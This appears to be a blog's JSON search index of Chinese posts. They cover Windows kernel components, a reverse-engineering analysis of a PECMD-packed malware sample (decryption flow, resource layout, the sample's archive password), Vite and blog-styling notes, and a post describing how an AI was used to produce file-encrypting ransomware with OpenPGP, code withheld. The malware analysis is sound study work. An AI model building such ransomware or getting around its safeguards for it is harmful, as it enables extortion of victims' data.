I/O管理器\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e功能\u003c/strong\u003e：实现与设备无关的输入和输出功能，负责将I/O请求分发给正确的设备驱动程序。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e相关知识\u003c/strong\u003e：I/O管理器通过设备驱动程序与硬件设备交互，支持同步和异步I/O操作。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"9-对象管理器\"\u003e9. 对象管理器\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e功能\u003c/strong\u003e：负责创建、管理和删除Windows执行体对象，以及用于表达操作系统资源的抽象数据类型。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e相关知识\u003c/strong\u003e：对象管理器通过对象命名空间和目录结构来组织和管理对象，支持对象的安全性和访问控制。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"10-局域网管理器本地过程调用lpc\"\u003e10. 局域网管理器（本地过程调用，LPC）\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e功能\u003c/strong\u003e：负责处理进程之间的通信，管理消息传递和远程过程调用。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e相关知识\u003c/strong\u003e：LPC通过消息队列和通信端口实现进程间的高效通信，支持同步和异步通信模式。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e这些组件共同构成了Windows内核执行体的核心部分，它们相互协作，确保操作系统能够高效、稳定地运行，为用户提供强大的功能和良好的用户体验。\u003c/p\u003e","title":"Windows内核学习笔记（二）"},{"content":"新脚本 F12检查到一个管道，别的虽然也挺令人在意，但还没有什么实际能看出来的。\n老规矩，先断LoadResource。\n堆栈跟踪到sub_472E88\n调试的时候跑飞了，没想到这样本还怪好的，还提醒我反反调试没做好：\n其中msdge拥有一个有效的数字签名，查询发现是一款杀软，看这形式猜测是用了这个杀软的某个漏洞提权，并且数字签名免杀。\n本来是杀软，却被病毒用来提权，实在有点感慨。当然，这还只是猜测，还得继续验证\n翻找temp目录总能有新的发现，比如这个7z带密码的压缩包：\n发现和前面的几个文件相对应，看来这就是要提取的文件了。\n检查日志，查看是否有遗漏的目标：\n自身不滞留在后台，是好消息。\n谁家写入分块分512的？不过有个好处：必定存在一个超大的循环，单步肯定跑不完的那种\n可能是作者后门（纯猜测），检查到这个文件/文件夹后不执行病毒之类的。\n在上述排查中，和逆向分析得到的结果一样，只发现那三个文件（或者说，一个7z文件）\n那么现在的首要任务：\n获取文件数据 解密文件数据 获取7z压缩包密码 根据日志里面一堆的readfile和writefile，只要断这两个准没错，必断到加密算法中间。\n00473C70：首次尝试直接读入7z文件\n00474A45：读入失败后，创建新的空白7z文件\n00473C70命中第三次的时候7z文件完成全部写入。\n中断插入，得到断点为00474DEF时完成第一部分。\n检查到sub_43362F是一个非常复杂的分支系统\nPECMD脚本语言。\nPECMD 命令帮助 - PECMD技术社区: www.pecmd.net\n[[原创]2023-05-20更新\u0026ndash;进程管理器-PECMD脚本作品展示-PECMD技术社区\n参考了一下，果然是一个成熟的体系。程序里面大量使用的脚本非常奇怪，现在看到，也正常了。\n再次检查，发现脚本资源下有一个可能是PE文件，但头部似乎多出了一些内容。\n尝试提取检查。\n只是简单的删除头部的字节，无法被识别为PE文件，IMHEX尝试使用PE结构解析时直接崩溃。\n再次翻看，发现里面的内容也和其他正常软件不同，没有大片的空白。\n0043EDCD：调用解密函数\n004481A9：解密函数断点触发处\n00448346：调用了一个看似完整的解密循环，看起来像是解密流程函数。\n这里始终没找到v7怎么传递的，去找了一下thiscall的资料\n通过ecx传递，看看ecx。\n有指针，指针正常赋值到函数内\n看看原调用：\nv7在经过定义后就没有进行过任何赋值，直接传入thiscall里面\n在thiscall内部，也就简单清理了一下数据区域就拿来用了，那这些函数是什么时候初始化的呢？\n挠头起来了\n尝试断一下v7的定义函数开头\n断上了，但是栈空间太短，要么是dbg识别错误，要么就有点问题在里面了。\n再检查一下ida那边，发现ida自动省略了一个栈空间申请函数，哦？这就有点意味在里面了。\n过了那个所谓的栈空间申请函数以后，栈里面居然跳不到esp了，push还在正常执行？这也太奇怪了点吧。\nsub_414F82：疑似加载资源附带解密资源\nsub_4410C9：疑似判断资源类型是否需要解密\nimage esp和ebp-d470无法访问的问题的答案：dbg版本太老了\n换一个dbg解决问题\necx不是指针，无法跳转的问题：系统内存申请问题\n结构体赋值是在SUB_43E92E\nsub_4355F6疑似主流程函数\n尝试跟踪：this的最初值\n上答案了 好简洁的代码。\nResource_TypeCheck_4410C9：资源检查，是否加密，这部分相同，返回的v5做什么的我暂时没搞明白，只是和他一样返回了，感觉可能是标志位。\n我的报错点就在C8这里，但是学长的代码直接跳过了C8\n另一个地方也一样，难道说。。。。\n好吧，还是继续看学长的代码好了\nDecode_MainProc：对应的是sub_43ED73，流程代码。不过外面还有一层sub_414F82，main函数代替之了。\nsub_448188：主要解密函数\n原程序并没有文件写出（或不在流程内），在学长的解密程序额外添加了文件写出以进行后续分析\n大概思路是在中途退出之前进行一次写出，或者是在解密过程中逐渐写出。\nC8的意义不明。\n来点总结。\n取得key和资源检查，DWORD类型，仅低3.5字节有效（DWORD共4字节），读入后一个小异或固定数字0x5AA59669u（这里居然用到了4字节）\n这里的curb是指针指向的字节的意思。\n4~6存储的是关键词CMPx（4 5 6 那其实只能匹配三个字节）\n7存储的是flag 9720 658 120==4，是key的异或值。 flag最低位是flag是否有效，flag低第2位是key1是否有效。（实际上就是判断key1是否为0，这个位置没啥用）\n8~12（0x10）存储的是key1\nkey的部分解析完成，接下来是文件。\n别说这部分跑一遍才发现真是挺巧妙的。\nv9一开始是空白的，先取一个byte的数据确定要跑多少次\nsub_448188的作用是取下一个byte的数据，这里涉及到解密和指针自动右移一位。\n第一次取到的是8次（一个byte8位最高了），那么本次，以及后续7次， 一共8次。\n因为小端序的原因，v9 = result | 0xFF00;其实会填充v9的第二个字节为FF，第一个字节为result。\n如果清空了FF，那么就是文件没读完，会再读一遍长度，也就是8个8个字节一组。\n如果清空FF之前，就先碰到了result的0，那么说明该break了。\n另外注意，8个8个字节一组，但是每个字节头需要一个FF用来标识长度，所以是9个字节一组\n然后buf的起点并非从v1(pcn-\u0026gt;DecodeB)开始，而是从v1 + v2(4078) + 12开始，以及每个文件片（在这部分中，还不能确定这部分一定是纯粹的文件内容。）最大可以达到0xFFF的长度，可谓也是非常小了。\n每次写入0x1000的数据，基本算是一段，没确定下一段是否会去使用上一段的数据进行重复，不过这也不重要了。\n然后一般sub_448188只会返回一个BYTE的数据，读到最后的时候会返回一个INT32的-1，遇到-1就可以终止了。\n因此结构体如上。\n编了个程序把其他的样本都扒下来了。\n103号是通用的7z解压缩本体。\n多出来的102号是一个不知道干啥的资源配置文件。\n奇怪，那我之前找到的加密压缩包呢？\n资源里面没有其他可用的东西了。\n找找别的：\n哦吼？你的意思是又放文件末尾了？\nIMHex又出bug了，服了，还是换回稳定的010editor好了，工具果然还是得稳定一点。\n试着截取此大小，然后修改文件头。\n比对哈希\n哈希比对成功，这个压缩包是被【原样】保存在exe里面的，不是资源。文件末尾有压缩包头。\n先附上结论图\n第一步：跳转到内容为004E的地方，比对内容是否正确。（固定从文件尾的偏移：十进制160）\n第二步：跳转到内容为23313531的地方（固定偏移177），读取是否是##包括的数字。\n第三步：跳转偏移 -160-177 获取到压缩文件尾部。\n第四步：【未知压缩文件大小来源】跳转到压缩文件头部。 但是由截获的压缩文件可知大小为0x906A2F（缺少这步将会导致无法实现自动化。）\n第五步：【未知比对目标】比对一个目标是否是cab格式，如果是，则获取到的压缩包头部替换为cab文件头，否则替换为7z文件头。\n第四步和第五步的【未知】是因为在导出的脚本根本没有填充这部分内容，因此有可能是在exe后赋值的。\n第六步：运行解压命令【解压密码为rfhujhfud4656575】（截图里面前面的-p不是密码）\n另注：随便开了个别的样本，密码不一样。\n但是结构是一样的，也没给压缩包长度（变量名不一样是因为我上面自己分析的时候修改了变量名）\n","permalink":"https://t1mmoc.github.io/posts/18733511/","summary":"\u003ch1 id=\"新脚本\"\u003e新脚本\u003c/h1\u003e\n\u003cp\u003eF12检查到一个管道，别的虽然也挺令人在意，但还没有什么实际能看出来的。\u003c/p\u003e\n\u003cp\u003e老规矩，先断LoadResource。\u003c/p\u003e\n\u003cp\u003e堆栈跟踪到sub_472E88\u003c/p\u003e\n\u003cp\u003e调试的时候跑飞了，没想到这样本还怪好的，还提醒我反反调试没做好：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18733511/3336551-20250224103350469-1894277757.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18733511/3336551-20250224103405749-476546823.png\"\u003e\u003c/p\u003e\n\u003cp\u003e其中msdge拥有一个有效的数字签名，查询发现是一款杀软，看这形式猜测是用了这个杀软的某个漏洞提权，并且数字签名免杀。\u003c/p\u003e\n\u003cp\u003e本来是杀软，却被病毒用来提权，实在有点感慨。当然，这还只是猜测，还得继续验证\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18733511/3336551-20250224164013127-1223506506.png\"\u003e\u003c/p\u003e\n\u003cp\u003e翻找temp目录总能有新的发现，比如这个7z带密码的压缩包：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18733511/3336551-20250224164039990-2094940561.png\"\u003e\u003c/p\u003e\n\u003cp\u003e发现和前面的几个文件相对应，看来这就是要提取的文件了。\u003c/p\u003e\n\u003cp\u003e检查日志，查看是否有遗漏的目标：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18733511/3336551-20250224164058875-621388276.png\"\u003e\u003cbr\u003e\n自身不滞留在后台，是好消息。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18733511/3336551-20250224164103391-490642986.png\"\u003e\u003cbr\u003e\n谁家写入分块分512的？不过有个好处：必定存在一个超大的循环，单步肯定跑不完的那种\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18733511/3336551-20250224164113406-492345485.png\"\u003e\u003c/p\u003e\n\u003cp\u003e可能是作者后门（纯猜测），检查到这个文件/文件夹后不执行病毒之类的。\u003c/p\u003e\n\u003cp\u003e在上述排查中，和逆向分析得到的结果一样，只发现那三个文件（或者说，一个7z文件）\u003c/p\u003e\n\u003cp\u003e那么现在的首要任务：\u003c/p\u003e","title":"PECMD的解包"},{"content":"\nbuild: { rollupOptions: { output: { entryFileNames: `assets/[name].js`, // 打包后的入口文件名 chunkFileNames: `assets/[name].js`, // 打包后的代码块文件名 assetFileNames: `assets/[name].[ext]`, // 打包后的静态资源文件名 }, }, }, 增加这段代码即可，加的位置需要注意。\n","permalink":"https://t1mmoc.github.io/posts/18733488/","summary":"\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18733488/3336551-20250224102445740-374336597.png\"\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ebuild: {\n    rollupOptions: {\n      output: {\n        entryFileNames: `assets/[name].js`, // 打包后的入口文件名\n        chunkFileNames: `assets/[name].js`, // 打包后的代码块文件名\n        assetFileNames: `assets/[name].[ext]`, // 打包后的静态资源文件名\n      },\n    },\n  },\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e增加这段代码即可，加的位置需要注意。\u003c/p\u003e","title":"vite build 打包的文件取消hash码"},{"content":"25-02-24 补充 这一篇偶然在我的草稿箱里面被发现。\n也就是说，从五开始，少了一篇，而我却没有发现\n迭代太快了。\n以下是原始文章\n我不免想到一个问题——如果我弄了这么多以后，发现根本不能用，那咋办？ 所以我必须先尝试发布一次，得在博客园上实际看到效果。\n有一个文件上MB了，可能是ElementUI我全部引入导致的，不过没关系，先提交！\n打包完成 一个html是不需要的，一个js，一个css，一个jpg。\n得益于博客园没有自动边缘换行策略，我可以直接粘贴在最顶上，这样也方便我后面打包新的css以后直接替换。\njs的话就用script包起来。\n寄咯，要是用文件的话那我怎么快速调整呢（思索）\n算了，css没超过大小，js用文件试试看，先整出效果后面在调整。\n自然地，没有任何反应。 因为这里不是vue环境，没有app这个元素。\n那怎么办，当然是新增一个app元素！\n好吧我乱说的，不妨看看这个：\n什么是app？不过是一个div罢了。\n对了。\nbefore也是不需要的。\n这样整个html只需要一个script引入即可。\n然后我就发现vue把我的文章全删完了。 再次打包！ ？。？\n这是什么鬼东西 有个大问题，我原本的按钮被删掉了。\n这可不是什么好事。\n然后日间模式变成了这个鬼样子\n哦，这是两个不一致导致的，小改一下就好了不是什么大问题。\n背景图是因为我没上传，所以也正常\n但是但是。\n我的卡片间隔被谁弄没了？\n思索。。。。\n我定义在vue文件下的style呢？\n在文件里面，但是没有被显示出来，\n什么，你的意思是，我每次都得重新上传一遍css文件和js文件？绕了我吧。\n","permalink":"https://t1mmoc.github.io/posts/18632676/","summary":"\u003ch1 id=\"25-02-24-补充\"\u003e25-02-24 补充\u003c/h1\u003e\n\u003cp\u003e这一篇偶然在我的草稿箱里面被发现。\u003cbr\u003e\n也就是说，从五开始，少了一篇，而我却没有发现\u003cbr\u003e\n迭代太快了。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e以下是原始文章\u003c/strong\u003e\u003c/p\u003e\n\u003chr\u003e\n\u003ch1 id=\"我不免想到一个问题如果我弄了这么多以后发现根本不能用那咋办\"\u003e我不免想到一个问题——如果我弄了这么多以后，发现根本不能用，那咋办？\u003c/h1\u003e\n\u003cp\u003e所以我必须先\u003cstrong\u003e尝试发布\u003c/strong\u003e一次，得在博客园上实际看到效果。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18632676/3336551-20241226135034715-2077559104.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18632676/3336551-20241226135111994-1052284128.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18632676/3336551-20241226135131801-1995484654.png\"\u003e\u003cbr\u003e\n有一个文件上MB了，可能是ElementUI我全部引入导致的，不过没关系，先提交！\u003c/p\u003e\n\u003ch1 id=\"打包完成\"\u003e打包完成\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18632676/3336551-20241226135306074-1121434747.png\"\u003e\u003cbr\u003e\n一个html是不需要的，一个js，一个css，一个jpg。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18632676/3336551-20241226135455926-1971966057.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18632676/3336551-20241226135715660-694934995.png\"\u003e\u003cbr\u003e\n得益于博客园没有自动边缘换行策略，我可以直接粘贴在最顶上，这样也方便我后面打包新的css以后直接替换。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18632676/3336551-20241226135827933-1503065002.png\"\u003e\u003cbr\u003e\njs的话就用script包起来。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18632676/3336551-20241226135913652-1375437356.png\"\u003e\u003cbr\u003e\n寄咯，要是用文件的话那我怎么快速调整呢（思索）\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18632676/3336551-20241226140121158-1226978601.png\"\u003e\u003cbr\u003e\n算了，css没超过大小，js用文件试试看，先整出效果后面在调整。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18632676/3336551-20241226140150278-1354610795.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18632676/3336551-20241226140241359-882975080.png\"\u003e\u003c/p\u003e\n\u003ch1 id=\"自然地没有任何反应\"\u003e自然地，没有任何反应。\u003c/h1\u003e\n\u003cp\u003e因为这里不是vue环境，没有app这个元素。\u003cbr\u003e\n那怎么办，当然是新增一个app元素！\u003cbr\u003e\n好吧我乱说的，不妨看看这个：\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18632676/3336551-20241226140431229-9346506.png\"\u003e\u003cbr\u003e\n什么是app？不过是一个div罢了。\u003cbr\u003e\n对了。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18632676/3336551-20241226140612652-320702210.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18632676/3336551-20241226140618407-1952574493.png\"\u003e\u003cbr\u003e\nbefore也是不需要的。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18632676/3336551-20241226140637382-1400904688.png\"\u003e\u003cbr\u003e\n这样整个html只需要一个script引入即可。\u003c/p\u003e","title":"再战博客园美化（真正的五）——实际发布"},{"content":"免责声明：随笔内容仅供安全学习使用，本随笔进行的所有操作均在授权或虚拟环境下进行。任何读者利用随笔中技术进行违法行为，本作者不承担任何责任。 本随笔不提供相关代码，只提供思路。 代码就这么多\n非常简洁。\n运行效果 有的人看到这张图已经开始直呼诈骗了吧，而有的人还在默默的看\n原理 向ai提问，使用openGPG python 加密文件 即可。\n根据非对称加密原理，使用这种方法加密的文件，只有程序制作者可以解密\n即使整个程序被破解了，也依旧没辙。\n弊端 该笑还是要笑的，这里有个很大的弊端，那就是用户必须拥有gpg环境，可以调用gpg命令行\n另外gpg使用的压缩算法压缩数据非常久，因此完全不适合分秒必争的勒索病毒，而勒索病毒完全不关心用户的磁盘容量。\n所以说，这只是一种非常 简单 的编写方式\n本来是想贴代码的，但是我已经被删过一篇随笔了，还是算了\n贴个公钥 -----BEGIN PGP PUBLIC KEY BLOCK----- mDMEZ1EfmBYJKwYBBAHaRw8BAQdA6qG43AJ3pw9sd4PviX9WUYLy0MygwbYYC9WQ HI/4dP60FlRpbW1vYyA8dGltbW9jQHFxLmNvbT6IkwQTFgoAOxYhBAkeITdBrQIt QWhQ9JJWfviGvwwPBQJnUR+YAhsDBQsJCAcCAiICBhUKCQgLAgQWAgMBAh4HAheA AAoJEJJWfviGvwwPR3wBANk6S/71wZYI6J/if8WHaJmADmGJMi0Vfjn7aXSjCTe/ AQDdVJZbJidKNCszkyYLm+G5rL2impN9sRrHRHAd0IsHCLg4BGdRH5gSCisGAQQB l1UBBQEBB0CXa82EutF3trEi8Tcu62LmZeNIO/uy4K55Mjh5s1PZYgMBCAeIeAQY FgoAIBYhBAkeITdBrQItQWhQ9JJWfviGvwwPBQJnUR+YAhsMAAoJEJJWfviGvwwP 00YA/RU8UDp5KDvf5E1kSRbTIMLEFLlKYIqyQcOHQpu0dYkdAQDBZTcsZcNIjxJ9 C2hq+ebK4sQH9/tvnLLkyX4S/84WBw== =UuMz -----END PGP PUBLIC KEY BLOCK----- ","permalink":"https://t1mmoc.github.io/posts/18734504/","summary":"\u003ch1 id=\"免责声明随笔内容仅供安全学习使用本随笔进行的所有操作均在授权或虚拟环境下进行任何读者利用随笔中技术进行违法行为本作者不承担任何责任\"\u003e免责声明：随笔内容仅供安全学习使用，本随笔进行的所有操作均在授权或虚拟环境下进行。任何读者利用随笔中技术进行违法行为，本作者不承担任何责任。\u003c/h1\u003e\n\u003ch1 id=\"本随笔不提供相关代码只提供思路\"\u003e本随笔不提供相关代码，只提供思路。\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18734504/3336551-20250224170137312-197937868.png\"\u003e\u003cbr\u003e\n代码就这么多\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18734504/3336551-20250224170157378-1487378851.png\"\u003e\u003cbr\u003e\n非常简洁。\u003c/p\u003e\n\u003ch1 id=\"运行效果\"\u003e运行效果\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18734504/3336551-20250224170342123-1893055235.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18734504/3336551-20250224170435942-508270731.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18734504/3336551-20250224170502707-911123299.png\"\u003e\u003cbr\u003e\n\u003cstrong\u003e有的人看到这张图已经开始直呼诈骗了吧，而有的人还在默默的看\u003c/strong\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18734504/3336551-20250224170626577-1404052217.png\"\u003e\u003c/p\u003e\n\u003ch1 id=\"原理\"\u003e原理\u003c/h1\u003e\n\u003cp\u003e向ai提问，使用openGPG python 加密文件 即可。\u003cbr\u003e\n根据非对称加密原理，使用这种方法加密的文件，只有程序制作者可以解密\u003cbr\u003e\n即使整个程序被破解了，也依旧没辙。\u003c/p\u003e\n\u003ch1 id=\"弊端\"\u003e弊端\u003c/h1\u003e\n\u003cp\u003e该笑还是要笑的，这里有个很大的弊端，那就是用户必须拥有gpg环境，可以调用gpg命令行\u003cbr\u003e\n另外gpg使用的压缩算法压缩数据非常久，因此完全不适合分秒必争的勒索病毒，而勒索病毒完全不关心用户的磁盘容量。\u003cbr\u003e\n所以说，这只是一种非常 简单 的编写方式\u003cbr\u003e\n本来是想贴代码的，但是我已经被删过一篇随笔了，还是算了\u003c/p\u003e","title":"挑战用AI生成勒索病毒"},{"content":"被拉回来赶工了 我圆角没了，不过更烦的是里面的forFlow没有背景难受。\n圆角 改下顺序就好了。\n好吧不行，用了第一个!important\nforFlow背景 待我去小窝吸一下配色。\n哎不是，最丑的一集。\n但是里面不错。\n再去看看两位佬怎么做的\nemm，看懂了，有卡片不弄forFlow，里面才弄forFlow。\n改成post应该好了。\n加入小透明全家桶。\n再拿个白色的颜料。\n啊不是你真纯白啊，怪不得我不喜欢用白色，刺眼。\n算了，自己手调一个颜色好了，是幸运颜色~\n太灰了再调一下\n……一万年后\n有没有可能#ffffff 和0.86透明度就很好了？\n乐了，我没话说。\n而且文章也一起透明了这很不好\n大小问题。\n被挤下去了\n完事儿。\n漂亮\n等会这是什么，az\n看来还没完。\n找到解决方法了。\n顺利，收工！\n等会，怎么有翻页按钮？ 想起来了，改一下。\nok。不能直接删vue，因为我还要背景图之类的，反正先这样，能跑就行。\n几分钟后补充 完啦，这怎么还是把字给透明了，算了，手酸了，先歇了。\n哎，这里害人啊\n下次部署的时候一起修了。\n","permalink":"https://t1mmoc.github.io/posts/18639698/","summary":"\u003ch1 id=\"被拉回来赶工了\"\u003e被拉回来赶工了\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639698/3336551-20241229221213761-959042974.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639698/3336551-20241229221225235-1980657367.png\"\u003e\u003cbr\u003e\n我圆角没了，不过更烦的是里面的forFlow没有背景难受。\u003c/p\u003e\n\u003ch1 id=\"圆角\"\u003e圆角\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639698/3336551-20241229221404662-1866975665.png\"\u003e\u003cbr\u003e\n改下顺序就好了。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639698/3336551-20241229221624909-732097669.png\"\u003e\u003cbr\u003e\n好吧不行，用了第一个!important\u003c/p\u003e\n\u003ch1 id=\"forflow背景\"\u003eforFlow背景\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639698/3336551-20241229221712310-1568493866.png\"\u003e\u003cbr\u003e\n待我去小窝吸一下配色。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639698/3336551-20241229221808718-485359686.png\"\u003e\u003cbr\u003e\n哎不是，最丑的一集。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639698/3336551-20241229221831378-731537111.png\"\u003e\u003cbr\u003e\n但是里面不错。\u003cbr\u003e\n再去看看两位佬怎么做的\u003cbr\u003e\nemm，看懂了，有卡片不弄forFlow，里面才弄forFlow。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639698/3336551-20241229222026135-10723105.png\"\u003e\u003cbr\u003e\n改成post应该好了。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639698/3336551-20241229222100040-24675821.png\"\u003e\u003cbr\u003e\n加入小透明全家桶。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639698/3336551-20241229222153397-1886974070.png\"\u003e\u003cbr\u003e\n再拿个白色的颜料。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639698/3336551-20241229222215251-1288783009.png\"\u003e\u003cbr\u003e\n啊不是你真纯白啊，怪不得我不喜欢用白色，刺眼。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639698/3336551-20241229222312695-618463349.png\"\u003e\u003cbr\u003e\n算了，自己手调一个颜色好了，是幸运颜色~\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639698/3336551-20241229222415852-2104092200.png\"\u003e\u003cbr\u003e\n太灰了再调一下\u003cbr\u003e\n……一万年后\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639698/3336551-20241229222449709-679408380.png\"\u003e\u003cbr\u003e\n有没有可能#ffffff 和0.86透明度就很好了？\u003cbr\u003e\n乐了，我没话说。\u003cbr\u003e\n而且文章也一起透明了这很不好\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639698/3336551-20241229222626562-785732790.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639698/3336551-20241229222949358-1110930989.png\"\u003e\u003cbr\u003e\n大小问题。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639698/3336551-20241229223124778-1470462245.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639698/3336551-20241229223356657-1444748654.png\"\u003e\u003cbr\u003e\n被挤下去了\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639698/3336551-20241229223509053-783777903.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639698/3336551-20241229223515719-374530221.png\"\u003e\u003cbr\u003e\n完事儿。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639698/3336551-20241229223526150-83756373.png\"\u003e\u003cbr\u003e\n漂亮\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639698/3336551-20241229223537013-821398813.png\"\u003e\u003cbr\u003e\n等会这是什么，az\u003cbr\u003e\n看来还没完。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639698/3336551-20241229224350392-1124640613.png\"\u003e\u003c/p\u003e","title":"再战博客园美化（九）——背景问题"},{"content":"\n今天玩翻页功能 debug还是得人来啊，这gpt也不管用。\n但是有些我不会的玩意找一下还不错。\n同步一下进度。\n想不明白为什么这个不生效，先无视了，先弄页面功能。\n完事 不错，有模有样。\n白天丑死了，急需白天壁纸。\n不对啊我传完了才想起来我干嘛不用博客园的图床，傻了说是。\n等会？你说这是什么玩意儿？\n乐了，这是什么，::before.dark？\n好吧没学过前端是这样的。\n这样就好了吧。\n好吧不行，问问gpt\n哦哦，这样可以了\n漂亮 要是没有右下角那个水印就更好了。\n不过算了，就这样吧，哪天我找到心仪的亮色壁纸了替换一下。\n该部署了。\n哦，差点忘了说了，\n改了一下，改成全局的了\n这样翻页按钮也正常了。\n部署 哎？这是什么？\n这大小怎么突然变这么小了，不习惯啊\n难道之前是因为把图片塞js里面了？\n对比一下。\n没反应，为什么呢\n啊？硬编码了\n这下轮到我为难了\n我总还是要测试的，但是发布的时候我还得改一遍\nemmm，怎么办呢，以及我知道为什么build这么小了，因为只有这个没啥用的代码。\n发现imp没啥用，不如直接用\n这下看懂了。\n这样写就好了。\n结束 顺利部署，收工！\n","permalink":"https://t1mmoc.github.io/posts/18639559/","summary":"\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639559/3336551-20241229201608407-808179578.png\"\u003e\u003c/p\u003e\n\u003ch1 id=\"今天玩翻页功能\"\u003e今天玩翻页功能\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639559/3336551-20241229201634373-628856415.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639559/3336551-20241229203827021-1305376936.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639559/3336551-20241229203831918-979311882.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639559/3336551-20241229204714073-250117260.png\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639559/3336551-20241229204724601-1428413472.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18639559/3336551-20241229204720800-1892865240.png\"\u003e\u003c/p\u003e\n\u003cp\u003edebug还是得人来啊，这gpt也不管用。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" 